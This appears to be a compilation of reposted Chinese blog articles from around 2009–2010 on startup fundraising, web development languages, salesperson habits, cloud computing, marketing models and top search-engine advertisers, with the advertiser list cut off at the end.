创业者如何寻找风险投资

    今天创业的门槛越来越低,但是创业的难度也越来越大了,竞争者越来越多,出头就没那么容易了。作为一个创业者,你需要的是投资人的注意力,你希望他的眼球在你身上多停留30秒,那你就多了30秒的机会。所以你应当了解投资人需要什么东西,然后你就单刀直入。

    投资人最想知道的是“经营逻辑”,逻辑也就是你去怎样思考一件事。下面的13个有关“经营逻辑”的问题,它们是投资人判断的依据。假如你能把这13个问题答案都准备好,还不能保证一定会有投资人投资你,但是他们一定会对你刮目相看。

    1.企业定位

    企业定位反映出企业的经营策略,在产业价值系统里,你要用自己的产品和服务明确界定自己的角色。我们说劳力士卖的是附加在产品上的身份和名望,可口可乐卖的是品牌和配方。投资人总是试图从你的商业计划书中获得你对于企业定位,进一步说就是你得有与众不同的定位。

    2.执行摘要

    这是吸引投资人愿意了解你的计划的唯一机会。在硅谷,比较标准的商业计划不会超过20页,执行摘要不要超过300字,演示的话用Pow erpoint不要超过10张。一个逻辑清楚的结构是三言两语就能讲完的。执行摘要的重点在于你要按照顺序说明下面这几方面:市场、团队、财务、技术。

    3.正当性

    为什么要做?为什么现在做?为什么由你来做?正当性不是合法性,而是正确性。知识和技术的创业通常都是发现问题,然后就要去解决问题,而没有很好的诊断问题。它没有跟投资人很清楚地报告为什么要用某种方法来解决问题,是否还有其他解决问题的方法,这仅仅是从WHY到解决的简单步骤,而没有回答好上面的三个WHY。

    4.你承担什么风险?

    不可以为自己准备救生艇。你今天去创业,那投资人要看你的风险是什么,投资人更多考虑的是你为此投入了多少时间、多少资源、多少金钱,甚至你是否愿意为他放弃你已经非常稳定的工作和收入。投资人不会愿意承担比你更大的风险。

    5.企业远景与经营模式

    说明将好的构想妥为包装。你应当把你的企业标注得有非常清楚的远景,未来几年你的企业会变成什么样的格局,让投资人能有一个期待。

    6.产品与服务基本介绍

    既能说明创意,又能保护自己的智能财产。创业者并不需要将创业计划中的核心技术问题全面透露,你让他感到有意思即可。

    7.最想要解决什么问题?

    解决问题而不是制造问题。因为投资人对你的领域可能会很陌生,投资人可能会发现,不需要你那样大的成本就能达到同样的效果。你要清楚界定准备解决什么样的问题,而不要过度设计。找到解决方案,就是找到市常

    8.团队是否完整?缺少什么人才?

    了解自己的不足,诚实面对它并要求协助。创业者的团队通常都有一个特点叫做臭味相投、物以类聚,你能说你们面对市场上其他优秀组合的竞争时,通过他们就能打赢这场仗吗?团队应当吸收各方的优秀人士加入。你的团队如果能够勇于承认你的弱点,可能会获得投资人的帮助,你会得到投资人的真心相待。董事会与创业团队的关系应该是诤友的关系。

    9.顾客在哪里?如何留住他们?

    如果你是顾客,你会如何选择?这一点你应当为投资人解释,但是不要废话。有人说我留住顾客的方法就是不断地给他折价券,其实这完全不算是留住顾客的策略,因为只要别人给了更大折扣的折价券,顾客马上走。应当以好的产品和服务去开发顾客。你要让顾客体验到价格以外不可替代的价值。

    10.投资人的竞争者在哪里?核心竞争力如何?

    新经济时代,竞争者无所不在。告诉你的投资人竞争者在哪里,即让投资人知道他投资的潜在风险是什么。所谓核心竞争力是什么呢?就是发展你的核心成员,运用你的核心技术,达到你的核心目标。

    11.市场占有率几何?如何推论?

    积极进取或一厢情愿,其实只有一线之隔。不进则退,你应该有一个快速成长的规划,你应当告诉投资人,你有多大的野心,你将在多短的时间内获得多大的市场占有率,投资人才有机会为投资得到回报。你要证实你推论的可信性。

    12.何时损益平衡?如何推论?

    推论一定要有数据支持,不能凭空想象。

    13.介绍专业词汇

    展现表达与沟通技巧,这是企业领导人的重要特质。沟通与传播不仅是口才的问题,面对投资人、面对股东、面对那些非专业的人士,你应该有本事把你的专业讲到他们听懂,讲到他们喜欢。

Web开发与设计语言盘点

Web开发与设计语言的种类繁多,作为一名初学者,或者打算投身Web开发领域的开发者,如何正确的选择适合自己的开发语言呢?希望本文能给您一些启发。

在这个Web的时代,与Web相关的开发技术持续热门,从前端到后端,从标记语言到开发语言,各种技术交相辉映,沉沉浮浮,作为开发者,尤其是初级开发者,如何选择几门适合自己的开发语言尤为重要。本文是对所有Web相关开发语言的一次盘点,并指出其中最有前途的开发与设计语言,助你完成成为优秀Web开发人员的第一步。

无穷尽的选择

无穷尽的选择

在Web开发与设计领域,我们有太多的选择,HTML还是XHTML,RSS还是Atom,PHP还是ASP.NET,SVG还是VML,JavaScript还是VBS?这样的对决还可以列出很多,然而,它们往往没有固定答案,取决于个人嗜好,在你对各种语言和技术彻底了解之前,你自己也未必有任何清晰的想法。

如何选择

如何选择

答案是,取决于具体情况。不仅要看站点的类型,还要看你希望涉足的技术深度。本文会将Web相关的各种开发与设计语言,按不同的类别进行展示,并注明其复杂程度,流程程度以及浏览器支持程度。值得庆幸的是,任何一门Web语言都有很好的文档可以参考。

Web开发与设计语言的层级

Web开发与设计语言的层级

Web语言按层级分,传统上是这样分的,标记层(HTML),修饰层(CSS),客户端脚本层(JavaScript),服务器端(PHP,ASP.NET)。如果按功用分,参看上图,我们可以将它们分为15层,每个层级代表一种功用,比如用户交互,矢量图等等等。当然,并不是所有用户都需要全部掌握这些不同层级的语言。

标记语言

标记语言

最常用的Web标记语言有四种。
◆HTML
◆XHTML
◆XML
◆WML(Deprecated)
◆Others:MHTMLandSGML

Web聚合语言

Web聚合语言

最常用的Web聚合语言有Atom和RSS两种。

◆Atom

◆RSS

◆Others:EventsML,GeoRSS,MRSS,NewsML,OPML,SportsMLandXBEL

元数据定义语言

元数据定义语言

常见的元数据定义语言有5种:

◆DCMI

◆META(Classic)

◆Microformats

◆OWL

◆RDF

◆Others:APML,FOAF,hSlice,OpenServiceAccelarators,P3P,PICS(Deprecated),SIOCandXFN

式样表与转换语言

式样表与转换语言

常见的有3种:
◆CSS
◆XSL
◆Others:DSSSLandJSSS(Deprecated)

客户端脚本

客户端脚本

这些脚本语言多数和JavaScript有关联。
◆AJAX(XHR)
◆DOMScripting
◆Flex(ActionScript)
◆JavaScript
◆VBScript
◆Others:E4X,ECMAScript,JScript,JScript.NETandWMLScript(Deprecated)

服务器端开发语言

服务器端开发语言

可选的余地很大:
◆ASP
◆ASP.NET
◆ColdFusion
◆JSP
◆Perl
◆PHP
◆Python
◆RubyOnRails
◆Others:Lasso,OpenLaszlo,Smalltalk,SMX,SSIandSSJS

数据库语言

数据库语言

有4种常见数据库脚本语言:
◆MS-SQL
◆mySQL
◆Oracle
◆PostgreSQL
◆Others:Derby,MongoDBandSQLite

插件

插件

这些插件运行在浏览器的沙盒环境中:
◆ActiveX
◆Flash
◆Java
◆Shockwave
◆Silverlight

服务器端配置语言

服务器端配置语言

用于访问管理,服务器端配置,搜索引擎引导等:
◆.htaccess
◆Robots.txt
◆Web.config

RIA-富Internet应用

RIA-富Internet应用

这些技术可以实现桌面化的Web:
◆Air
◆Gears
◆JavaFX
◆Prism
◆Others:Cappuccino,CurlandTitanium

矢量建模语言

矢量建模语言

常见的2D和3D建模与渲染语言有5种:
◆3DMLW
◆Canvas(HTML5)
◆SVG
◆VML
◆X3D
◆Others:3DML,3DXML,SMIL,UML,VRMLandXVRML

PostScript语言

PostScript语言

◆PDF
◆XPS
◆Others:FlashPaperandOpenXML

数据格式化语言

数据格式化语言

◆DocBook
◆KML
◆MathML
◆OpenSearch
◆PAD
◆Sitemap
◆VoiceXML
◆Others:DOAC,DOAP,GML,GraphML,InkML,OpenMath,SISR,SRGS,SSMLandXMLTV

文档纲要语言

文档纲要语言\

◆DTD
◆XSD
◆Others:DSD,RelaxNGandSchemaXML

初学入门者

初学入门者\

对于初学入门者,建议遵照上图进行学习,不管如何选择,HTML是最重要的开端。

HTML+CSS+JS是前段开发必须掌握的三种语言,这毫无争议,即时有,也只是XHTML和HTML之争,而二者的争议也只限于对语言的严格程度上。PHP和MySQL属于服务器端的开发语言,服务器端的开发语言有更广泛的选项,除了PHP,MySQL,还有ASP.NET,MSSQL,JSP,Ruby都是可以考虑的选项,关键看你的项目要求。

好业务员的12个经典差异_转载阿里生意经

   同样在努力,都是做销售,为何有的人能够成功,而有的人确一直无所作为?那么他们之间的差异到底是什么呢?让我们一起来看看吧! 
 
  1:自我认知  业绩不好的销售职员:很少想到如何去说服客户和如何才能说服了客户,以为做业务*的是产品的好坏和客户的选择,以为客户该怎么样就该这样,不相信会有什么改变。老是诉苦和牢骚,寻找理由! 
  优秀的销售职员:骨子里就深信自己做销售就是给自己做事情,就是自己给自己做老板,世界上没有完美的产品,只有每天销售产品的销售职员。他有强烈的进去意识,喜欢当真的学习和努力的工作,这也是他血液里的东西,他会想尽一切办法使自己说服客户。 
  2:休闲   业绩不好的销售职员:在家看电视,为肥皂剧的剧情打动得痛苦流涕,还要仿照电视里的时尚来武装自己。  
 
  优秀的销售职员:在外跑市场,即使坐在公共汽车或者地铁上也不抛却自己身边的目标,努力的去和他们套近乎。索取他们的资料明信片或者给目标先容自己的产品。对一个好的销售职员来说,片子院,咖啡亭,游泳馆对他来说是签合同做好的地方!  3:交际圈子(思惟)   
  业绩不好的销售职员:比较孤僻,不喜欢和大家交流,业绩不好的销售职员的圈子大多是很差的业务员,也排斥与优秀的业务员交往,久而久之,心态成了我们命不好或者命运运限不好、或者真的这个产品不好做以及自己能力不行的心态,思维成了“我不行”、“这个客户可能不会和我合作”的思维,做出来的是也就是客户的原因或者公司或者与产品有(没)关等外界因素造成的销售不成功的模式。大家天天谈论着商品怎么去降价,交流着怎么让产品更完美可以知足所有客户不同的需求、交流着产品的推广和宣传势头不够等,固然有利于练习策划“能力”!但你的眼界也就徐徐囿于这样的琐事,而将雄心壮志消磨掉了。健忘了自己的本质工作是什么。慢慢的就变成一个形成一种空想主义者! 

  4:学习 
  业绩不好的销售职员:学别人的死板的方法。照本宣科!不喜欢学习或者不懂得学习什么?
  优秀的销售职员:学别人的好的销售思路和与销售产品相关的其他的业余的知识,来扩充自己的知识面。学习客户的方法!善于学习。 

 5:时间治理   业绩不好的销售职员:整天搞的自己很忙,没有头绪,老是有做不玩的事情,给客户写不完的计划书和策划方案。甚至连吃饭时间都搭在里边。一个连吃饭都顾不上的人还会是顾客的好参谋么?业绩不好的销售职员的时间是不值钱的,有时甚至多余。怎么混起来不烦。假如你可以由于买一斤白菜多花了一分钱而气恼不已,却不为虚度一天而肉痛,这就是典型的业绩不好的销售职员的思维。

  优秀的销售职员人:一个人不管以何种方式销售,也不管销售业绩得是多仍是少,都必需经由期间的积淀。好的业务员的玩也是一种工作方式,是有目的的。业绩好的业务员的闲,闲在身体,修身养性,以利在战,脑袋一刻也没有闲着;业绩不好的销售职员的闲,闲在思惟,他四肢举动都在忙。但是缺少计划和治理自己的时间。

  6:在公司的归属感
  业绩不好的销售职员:是颗螺丝钉。老是在公司的销售业绩榜上的零头,起到一个签空的脚色,在公司没有地位,却少安全感,不愿意和做的好一点的销售职员交流。就迫切地但愿自己从属于并依靠于一个较差的集团,于是他们以这个集团的尺度为自己的尺度,让自己的一切合乎这个小集团的规范,对于业绩不好的销售职员来说,在一个闻名的企业里不乱的工作几十年,有实习生一直干到普通主管,那简直是美得不能在美的理想。(他的志向就那么一点)

  优秀的销售职员:销售集团的领导者通常都是优秀的销售职员组成的,他们老是一方面向业绩不好的销售职员灌注贯注:团结就是气力,假如你不从属于自己的集团,不当真的做事情你就什么都不是,一名不文。但另一方面,他们却从来没有休止过招兵买马,培养新人,以便随时可以把你替代掉。
 
  7:用知识自己及对待财富
 
  业绩不好的销售职员:经济观点就是少用即是多赚,没有弘远的志向,轻易知足现状。一个月本来努力以下可以做10万的业绩,结果当他做到5万业绩的时候,他就开始清算算帐,这个月的任务我已经完成了。可以适当的休息以下。他把工作当作一种任务去完成。并不附加任何创造性。(超越)!对于比较差的业务员来说完成任务就是胜利。很不错了。比较差的销售职员即使有钱,也舍不得拿出来,喜欢存在银行里边。差的销售职员最津津乐道的就是我预约好了几家客户,客户说让我过一段时间和他在联系。把自己的但愿全部寄托在未来,究竟那些客户还没有和你签定合同。对与你来说回头看看自己的业绩单仍是“0”。这样的但愿真的很渺茫。 

  优秀的销售职员:优秀的销售职员的起点是万本万利。同样的是对自己未来的投资,优秀的销售职员们会想,一本书或者获取知识自己需要付出一点金钱,但是他会反过来想,这一点投资自己可以终身收益,仍是划的来的!好的销售职员津津乐道的是今天自己又与一个客户合作,从客户身上学到了什么。从客户那边得到多少资源。他说的起码的就是自己今天签的合同的金额是多少!  

  8:激情:能不能干成事,首先要看有没有激情

  业绩不好的销售职员:没有激情。他老是按部就班,很难出大错,也绝对不会做到最好。没有激情就无法高兴,就不可能全心全意投入工作。大部门的差的业务员不能说没有激情,看他的激情老是消耗在太详细的事情上:上司表扬了,他会激动;商店打折,他会激动;电视里破镜重圆了,看泡末剧他的眼泪一传一串往下流,穷人有的只是一种情绪。
  优秀的销售职员:“燕雀安知鸿鹄之志?”“达官朱紫,宁有种乎?”有这样的激情,有这样的一种霸气—我不下地狱谁下地狱!激情是一种天性,是生命力的象征,有了激情才有了灵感的火花,才有了光鲜的个性,才有了人际关系中的强烈感染力,也才有了解决题目的魄力和方法。
 
  9:自信  

  业绩不好的销售职员:业绩不好的销售职员的自信要通过武装到牙齿,要通过一身高级名牌的穿着和豪华的配置才能给他们带来更多的自信,业绩不好的销售职员的自信往往不是发自内心和天然天成的。

  优秀的销售职员:原一平在他在公园晚上在睡觉。白天仍是和其他的销售职员一样照样的去买保险,并没有感到自卑。实在就是一种优秀的销售职员特有的自信。自信才能不被外力所左右,自信才可能有准确的决定。

  10:习惯
 
  业绩不好的销售职员:有个故事,一个销售精英送给差一头牛。业绩不好的销售职员满怀但愿开始奋斗。可牛要吃草,人要吃饭,日子难过。业绩不好的销售职员于是把牛卖了,买了几只羊,吃了一只,剩下来的用来生小羊。可小羊迟迟没有生出来,*子有艰难了。业绩不好的销售职员把羊卖了,买成了鸡,想让鸡生蛋赚钱为生,但是*子并没有改变,最后穷人把鸡也杀了,穷人的理想彻底崩溃了,这就是穷人的习惯。

  优秀的销售职员:优秀的销售职员成功的秘诀就是:没钱时,无论多灾题,也不要动用投资和储蓄,压力会使你找到赚钱的新方法,帮你还清帐单。这是个好习惯。性格决定了习惯,习惯决定了成功。

  11:上网   业绩不好的销售职员:业绩不好的销售职员聊天,一是业绩不好的销售职员时间多,二是业绩不好的销售职员的嘴生成就不能闲着。业绩不好的销售职员就顾不了那么多,成天受着别人的白眼,浑身沾满了鸡毛蒜皮,多少窝囊气啊,说说都不行?聊天有理!

  优秀的销售职员:去ANYSO.COM或者baidu.com上网找投资机会。优秀的销售职员上网,更多的是利用网络的低本钱高效率,寻找更多的客户资源和项目,把便利运用到自己的生意中来。
 
  12:消费花钱
 
  业绩不好的销售职员:买名牌是为了体验知足感,最喜欢试验刚出来的流行时尚产品,相信贵的必定是好的。 
 
  优秀的销售职员:买名牌是为了节省挑选细节的时间,与消费品的售价比拟,他们更在乎产品的质量。

云计算—一个新兴的领域

云计算概观

云计算(英文:Cloud computing,台湾译作云端运算),是一种基于互联网的计算新方式,通过互联网上异构、自治的服务为个人和企业用户提供按需即取的计算。由于资源是在互联网上,而在电脑流程图中,互联网常以一个云状图案来表示,因此可以形象地类比为云,‘云’同时也是对底层基础设施的一种抽象概念。

云计算的资源是动态易扩展而且虚拟化的,通过互联网提供。终端用户不需要了解“云”中基础设施的细节,不必具有相应的专业知识,也无需直接进行控制,只关注自己真正需要什么样的资源以及如何通过网络来得到相应的服务。

云计算可以认为包括以下几个层次的服务:基础设施即服务(IaaS),平台即服务(PaaS)和软件即服务(SaaS)。云计算服务通常提供通用的通过浏览器访问的在线商业应用,软件和数据可存储在数据中心。

基本特征

云种类

互联网上的云计算服务特征和自然界的水循环具有一定的相似性,因此,云是一个相当贴切的比喻。通常云计算服务应该具备以下几条特征:

  • 基于虚拟化技术快速部署资源或获得服务
  • 实现动态的、可伸缩的扩展
  • 按需求提供资源、按使用量付费
  • 通过互联网提供、面向海量信息处理
  • 用户可以方便地参与
  • 形态灵活,聚散自如

对比

云计算常与格网计算(分布式计算的一种,由一群松散耦合的计算机集组成的一个超级虚拟计算机,常用来执行大型任务)、效用计算(IT资源的一种打包和计费方式,比如按照计算、存储分别计量费用,像传统的电力等公共设施一样)、自主计算(具有自我管理功能的计算机系统)相混淆。

事实上,许多云计算部署依赖于计算机集群(但与网格的组成、体系机构、目的、工作方式大相径庭),也吸收了自主计算和效用计算的特点。

它从硬件结构上是一种多对一的结构,从服务的角度或从功能的角度它是一对多的。 (1)例如,今天要设计一供应链管理系统,可以先从市面上提供的免费云服务器主机,将Application放置主机上,使用MS所提供数据库,这样一来,硬件成本大幅降低,将Application放置云上,且随时随地于任何终端设备上链接互联网,就能访问数据(因为基于公开的标准协议). (2)云科技,在2009年开始至今,对于任何企业都吹起一股风潮,除了数据访问方便,营运成本大幅降低(例如,办公室软件,操作系统,硬件设备),都能通过云技术的提供,免费使用.现今很多企业在创业时,都采用云技术,来降低成本,以提高企业竞争能力.

丛集计算:比起云计算,丛集计算着重在高效能,串连各别CPU的计算能力,而非着重在提供服务。 虽然云计算的底层有部分是由丛集计算所构成,像是负载平衡或备援技术。丛集计算所提供的效能固然强劲,然而建置成本也相对昂贵,一般民众与研究单位大多无法负荷。因此利用商用硬件(Commodity Hardware)的组装电脑,渐渐成为另一新主流。众多原本应用在丛集电脑上的库或操作系统,也逐渐地移植在商用电脑上运行。其中Unix操作系统,就是从大型工作站,演进到现在一般用户皆可使用的最好示例。除了建置成本的问题外,另一个丛集计算的缺点,在于需要完全同规格的硬件。不同的硬件、环境上,丛集计算很难组合运作,在软件上也有同样困扰,为了效能,可能针对操作系统的版本,使用的库去限制,让不同的站点(Site)间必须重新设计开发许多的转换程序才能集成。此外,跨网络区域的连接与使用皆会遇到网络安全性的问题。为了解决以上问题,派生了另一技术,称做格网技术。

网格计算:格网这个名词,在英文中,较多用在电力格网(Power Grid)领域中,因此也有人称为网格。 在格网计算的始祖Ian Foster的论文中,将格网计算发展的远景,类似电力或水力,在需要使用时便随手可得。然而格网计算,常会被拿来与丛集计算比较。在讨论格网计算中常常会提到虚拟组织(VO, Virtual Organization),与W3C的技术规格。格网计算就是利用现有的丛集计算以及Web观念作为底层,也有人认为格网技术是下一代的Web 3.0。但是格网技术是完全不同的目的,最主要还是增加资源的利用性,并非追求效能。 资源的收集,控制,服务等议题便成为格网中间件(Middleware)的主要目标。 我们可以试着以“漏斗”这样的观念去想像,漏斗的下方是资源,由中央的中间件进行收集,再由更上层的软件去应用。这样的观念也逐渐扩充到其他领域,包括数据格网(Data Grid)。中间所有的协议,都以W3C所制订的规格为主,如HTTP,XML等。因此按照网格概念所设计的中间件,可用来管理上万台甚至数十万台电脑,并且将其纳入计算或存储资源中。

云计算与网格计算的最大差异在于计算量,云计算大都以单一主机服务用户,主要较偏向少量而多次的计算,少次而大量的计算易使资源用尽,致使其他服务停摆或拒绝服务;网格计算是以多主机来做计算支持,在少次而大量的计算时较为有效率,在此情况下,网格计算域内的电脑资源可互相支持,不会有资源用尽的疑虑。

体系架构

云层次结构

截止到2009年,大部分的云计算基础构架是由通过数据中心传送的可信赖的服务和建立在服务器上的不同层次的虚拟化技术组成的。人们可以在任何有提供网络基础设施的地方使用这些服务。“云”通常表现为对所有用户的计算需求的单一访问点。人们通常希望商业化的产品能够满足产品质量(QoS)的要求,并且一般情况下要提供服务水平协议。[1] 开放标准对于云计算的发展是至关重要的,并且开源软件已经为众多的云计算实例提供了基础。[2]

云的基本概念,是通过网络将庞大的计算处理程序自动分拆成无数个较小的子程序,再由多部服务器所组成的庞大系统搜索、计算分析之后将处理结果回传给用户。通过这项技术,远程的服务供应商可以在数秒之内,达成处理数以千万计甚至亿计的信息,达到和“超级电脑”同样强大效能的网络服务。它可分析DNA结构、基因图谱定序、解析癌症细胞等高级计算,例如Skype以点对点(P2P)方式来共同组成单一系统;又如谷歌通过Map Reduce架构将数据拆成小块计算后再重组回来,而且Big Table技术完全跳脱一般数据库数据运作方式,以row设计存储又完全的配合谷歌自己的文件系统(GFS),以帮助数据快速穿过“云”。

云计算的产业三级分层:云软件、云平台、云设备。 上层分级:云软件 Software as a Service (SaaS) 打破以往大厂垄断的局面, 所有人都可以在上面自由挥洒创意,提供各式各样的软件服务。 参与者:世界各地的软件开发者; 中层分级:云平台 Platform as a Service (PaaS) 打造程序开发平台与操作系统平台, 让开发人员可以通过网络撰写程序与服务,一般消费者也可以在上面运行程序。 参与者:谷歌、微软、苹果、Yahoo!; 下层分级:云设备 Infrastructure as a Service (IaaS) 将基础设备(如IT系统、数据库等)集成起来, 像旅馆一样,分隔成不同的房间供企业租用。 参与者:IBM、戴尔、升阳、 惠普、亚马逊。

发展历史

2007年10月谷歌IBM开始在美国大学校园,包括卡内基美隆大学麻省理工学院斯坦福大学加州大学柏克莱分校马里兰大学等,推广云计算的计划,这项计划希望能降低分布式计算技术在学术研究方面的成本,并为这些大学提供相关的软硬件设备及技术支持(包括数百台个人电脑BladeCenterSystem x服务器,这些计算平台将提供1600个处理器,支持包括LinuxXenHadoop等开放源代码平台)。而学生则可以通过网络开发各项以大规模计算为基础的研究计划。

2008年1月30日谷歌宣布在台湾引导“云计算学术计划”,将与台湾台大交大等学校合作,将这种先进的大规模、快速计算技术推广到校园[3]

2008年7月29日,雅虎、惠普和英特尔宣布一项涵盖美国、德国和新加坡的联合研究计划,推出云计算研究测试床,推进云计算。该计划要与合作伙伴建立6个数据中心作为研究试验平台,每个数据中心配置1400个至4000个处理器。这些合作伙伴包括新加坡资讯通信发展管理局、德国卡尔斯鲁厄大学Steinbuch计算中心、美国伊利诺伊大学香宾分校、英特尔研究院、惠普实验室和雅虎。”。[4]

2008年8月3日,美国专利商标局网站信息显示,戴尔正在申请“云计算”(Cloud Computing)商标,此举旨在加强对这一未来可能重塑技术架构的术语的控制权。戴尔在申请文件中称,云计算是“在数据中心和巨型规模的计算环境中,为他人提供计算机硬件定制制造”。[5]

2010年3月5日,Novell与云安全联盟(CSA)共同宣布一项供应商中立计划,名为“可信任云计算计划(Trusted Cloud Initiative)”。

六个事半功倍的营销模式(转)

  营销之父科特勒很早便提出,“营销并不是以精明的方式兜售自己的产品和服务,而是一门创造真正客户价值的艺术”。

  2009年,金融危机余波未尽,产业经济尚未走出阴霾,市场充满了不确定性。由于对经济缺乏信心,消费者将钱袋捂得更紧。在前所未有的复杂环境中,营销领域的创新,变得尤为迫切。中国企业界在承继和融会贯通的基础上,结合环境变迁,新兴营销模式不断涌现。其中6大创新营销模式尤其值得关注。

  这些营销模式更加注重营销的效率,更加灵活周全,更加以客户为中心。而归根到底,在于它们更好地满足了客户的需求,为客户创造了更多的价值。

  模式一:百分百客户价值导向过去,中国企业有一种强势观念,往往只关注自身如何在行业中定位,关注企业的产品如何在市场上定位。现在,中国企业越来越懂得放低姿态,去研究消费者需求,根据消费者的需要来规划和制造产品。

  去年3月,已连续9年位列国内男式西裤市场占有率第一的九牧王开始推广男裤个性化定制业务。根据九牧王对中国男性消费者的调查了解,中国男性肥胖率上升了1.7%,这些肥胖男士不易从标准化产品中找到合身的产品。九牧王敏锐地抓住了消费者的这一需求,将高贵的定制服务平民化,并且不另收加工费和运费,以更贴心的服务和大众化的价格,给消费者带来更大的价值。

  百度在去年针对其搜索产品推出了工具栏个性化首页定制服务。目前,个性化定制首页主要有功能类、新闻类和风云榜类,网民可以选择热门浏览、天气预报、搜索风云榜、百度新闻、实用查询等模块。配合百度工具栏,还可以支持“我的热门浏览”功能,方便找到最近打开过的页面。未来,随着可定制模块的增多和平台的进一步开放,这一服务将整合用户在互联网主要应用的入口,被越来越多网民设置成为个性化的专属首页,成为互联网冲浪第一站。

  模式二:创意十足的新媒体营销企业的营销越来越依赖于网络和移动终端。手机短信、各类门户网站、专业网站、交友平台、视频网站、游戏网站、即时通讯平台,都已成为企业施展营销策略的舞台。去年,“三网融合”概念的提出,更成为经济危机下,新媒体营销的一大突破。“三网融合”指互联网、电信网、有线电视网的融合。这一概念从广告主的需求出发,实现一站式的整合营销服务。

  而企业对新媒体营销资源的使用,正变得更加润物细无声。“有的企业以企业的名义做网站,有的则以行业的名义做公益网站。”北大纵横合伙人陈凡说。中粮集团网络营销方式的演变,则更明显地代表了新媒体营销日渐“含蓄”的趋势。2009年,中粮集团推出了电子商务网站—我买网,消费者通过该网站就可买到中粮集团的产品。在开心网流行之初,中粮主动与其合作,将旗下的果汁品牌“悦活”植入开心网的种地游戏,借此大幅提升“悦活”品牌的知名度。今年1月,中粮与MSN联手,开发了一款网络互动游戏—“中粮生产队”,这款社交网游融入了中粮集团每一种产品从田间种植到工厂生产乃至到餐桌的完整产业链过程。玩家除了自己玩,还可以邀请朋友参加,完成全部游戏环节的人越多,获得的奖品也越丰厚。中粮集团希望借此款游戏传递中粮的产品信息和品牌理念。

  模式三:高效的行为定向营销消费者“认识你”,并不代表一定会“喜欢你”,进而“购买你的产品或服务”。品牌需要确定真实的消费者行为指标,通过对做出行为的消费者细分群体进行识别,来协同增强品牌价值、品牌和企业定位方面的投入,配合相应的传播和媒介策划,从而提高营销的效力和效率。

  2009年被称为BT(Behavior Targeting Service行为定向广告投放服务)元年。BT服务实现了广告的精准投放,是网络营销的一大突破:通过识别并记录用户浏览的网页和用户在网页上浏览的内容以及用户最经常浏览的内容,可以判断出该用户的喜好;当用户下一次上网时,与之喜好相关度最高的产品广告便会弹出。

  在中国,电子商务类企业最先采用了行为定向营销模式,比如当当网。通过跟踪用户过往的购物记录,当当网能在用户下一次登陆购物网时,将该用户最感兴趣的产品类别推荐给他,从而提高成交率。

  模式四:先品牌后市场北大纵横合伙人陈凡认为,中国企业对品牌重要性的认知有了很大的提升。“过去,企业由对产品的关注,进而导向对品牌的关注,现在,很多企业把品牌建设放在先于市场开发的重要地位。”陈凡说。

  与众多体育品牌的保守做法不同,匹克鞋业在2009年花费巨资与国际篮球联合会(FIBA)签订战略合作协议,继与NBA合作四年后,匹克再次与国际顶尖的篮球赛事牵手。在金融危机的环境下,匹克集团将战略转变为利用垄断的国际最高篮球赛事资源谋求新格局。与众多体育品牌先做市场再做品牌的传统路线不同,匹克鞋业的营销策略反其道而行之。

  在与NBA合作的四年中,凭借NBA的全球影响力,顶级球员穿着匹克战靴征战NBA的画面通过镜头为品牌赢得了全球性知名度。“PEAK”标识为全球粉丝熟知,国外市场的推广进程迅速,在某些区域,如在黎巴嫩市场,匹克品牌的市场占有率已经挤进前三。亚洲、欧洲、大洋洲和美洲的经销商也借助品牌影响力,加速了市场占有。匹克鞋业认为,金融危机的背景下,消费者对性价比的要求会越来越高,而这正是匹克进军国际市场的最佳机会。先品牌后市场的营销策略,正是基于这样的市场认知而产生。

  模式五:转战内需对于很多出口导向或者出口在销售中占据重大比例的中国企业来说,转战内需市场是它们在2009年的现实选择。国内众多家电品牌在过去的一年里,加大了其在内需市场的营销力度。

  奥克斯空调在转战内需市场的过程中,表现突出,独创了我国家电业“多重补贴营销”的先河。根据国家“家电下乡”的补贴政策,奥克斯所有下乡的空调先享受国家13%的补贴,此外,企业再补贴10%,另加10%的促销补贴。这样,购买一台奥克斯空调,消费者最多还可享受20%的优惠。于此同时,奥克斯率先发动了题为“下乡是国策、实惠是真理”的农村空调市场革命,呼吁以价格、产品、服务三大利器加速提升农村空调普及,号召更多的企业参与到农村市场的网络开发、服务升级、产品创新中来。奥克斯同时承诺,所有下乡的奥克斯空调都可以获得“整机及关键零部件保修10年”的服务,解决了农民选购空调的后顾之忧。

  随着国外市场的萎缩,中国广阔的内需市场逐渐为中国企业所重视,并必然成为中国企业未来最重要的市场。研究复杂的内需市场,了解国内消费者多层次的需求,为未来深入开辟内需市场做好准备,是中国企业目前的必修课。

  模式六:无边界整合营销最早提出“无边界”整合营销概念的是北京四季沐歌太阳能有限公司总裁李骏。他认为,企业的资源是有限的,但可资利用的社会资源却取之不尽,企业的经营和营销创新必须打破所有边界,与政府、社会、媒体、企业、经销商、合作伙伴等各类资源体寻找共赢的交集,战略合作,在追求多赢的同时追求企业的赢,这也是可持续的企业经营之道。

  为了赢得经销商的信任,四季沐歌成为太阳能行业惟一的“中国航天合作伙伴”;斥资1亿元投标央视黄金广告时段;与中国人保签订总保额3亿元的产品责任险、产品质量险以及团体人身意外伤害险,解决消费者对产品的信任问题;与长安、哈飞等汽车企业战略合作,统一定制1万辆微型面包车,与全国经销商一起启动“万辆绿篷车工程”,全面推动销售网络布局和下沉;与创维集团携手,总投资1000万元,大搞新农村影院工程;与中国共青团合作,赞助上千万元支持其在农村开展的农村青年“阳光创业行动”,顺势为其农村经销商组织的构建打下长远的伏笔。

  “无边界”整合营销就是一种拿来主义思维,将其他行业的先进做法加工整合,为我所用。

搜索引擎Top广告主(转)

今天找到了一份有关几个主要搜索引擎上top广告主的资料:

美国排名前25的搜索引擎广告主

广告客户的前25名单是根据记录的第一页广告展示的总数在规定的时间内,并不一定反映广告总花费。通过广告展示,30天的周期采样评估数据。广告客户是按字母顺序排列。 Google 

amazon.com

ask.com

att.com

best-price.com

bing.com

booking.com*

business.com

buycheapr.com*

eBay.com

expedia.com

google.com

jcpenney.com*

local.com

nextag.com

nordstrom.com*

righthealth.com

sears.com

shopping.yahoo.com

shopzilla.com

sprint.com

target.com

travelocity.com*

verizonwireless.com*

wirefly.com

zappos.com

Yahoo 

amazon.com

ask.com

best-price.com*

bing.com

bottomdollar.com

business.com

dexknows.com*

eBay.com

ebaymotors.com*

expedia.com

gifts.com

google.com

health.kosmix.com

local.com

lowfares.com

nextag.com

pricegrabber.com

pronto.com

righthealth.com

shopping.yahoo.com

smarter.com

taglocal.com*

target.com

top-health-site.com*

travelocity.com*

Bing 

amazon.com

att.com

bankofamerica.com*

bing.com

bizrate.com

booking.com

CheapTickets.com*

dell.com

drugstore.com

eBay.com

edmunds.com

expedia.com

google.com

hotels.com

jcpenney.com

kayak.com

nextag.com

